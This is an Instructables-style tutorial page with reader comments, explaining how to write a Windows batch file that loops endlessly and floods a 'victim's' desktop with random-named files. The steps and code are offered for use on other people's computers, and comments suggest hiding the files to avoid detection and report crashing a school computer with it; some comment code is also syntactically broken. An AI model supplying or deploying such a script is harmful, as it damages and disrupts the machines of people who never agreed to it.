Batch Files

5,674

11

12

Posted

Introduction: Batch Files

This is how to create a batch file that creates lots of files on the victims desktop.

Step 1: Step 1

Goto start then click run and type notepad

Step 2: Setp 2

in notepad type:

@echo off
:A
cd %current%
echo >%random%.%random%
goto A

Step 3: Step 3

click file then click save as and save it as any thing you wan't.bat it has to end with .bat or it won't work. and choose all files.

Step 4: Step 4

Command Prompt will come up just leave it for a while then close it and there will be lots of files on their desktop!!!!! It will give them random names like this 3437.7830. It will always have the dot in the middle.

Share

    Recommendations

    • Spotless Contest

      Spotless Contest
    • Pocket-Sized Contest

      Pocket-Sized Contest
    • Microcontroller Contest

      Microcontroller Contest
    user

    We have a be nice policy.
    Please be positive and constructive.

    Tips

    Questions

    13 Comments

    Hey, this is a great instructable and is very informative. Just one thing is missing... pictures! It really helps a lot when trying to follow directions so you should consider taking some photographs. Once you do that and leave me a message when you have so that we can publish your work. Thanks! Thanks for the cool instructable and we hope to publish this soon!

    I have put pictures on it.

    It needs a main image added to the intro step also.

    Great instructable. Wouldn't it be better to place the files somewhere - change directory - making it harder for them to know.

    I used this on a school computer and eventualy it chrashed the explorer. Now we can't get it to work...Any idea how to fix this?

    You can also get rid of the point in the created file names by changing
    %random%.%random% into %random%%random

    XOIIO you can control how many copies it will make by adding something like this:

    Set/p %loop%=1
    :1
    Blablabla
    Set/p %loop%=+1
    If %loop%=100 goto 2
    Goto 1
    :2
    Exit

    lol i did this to myself by accident

    so did i how did you get rid of it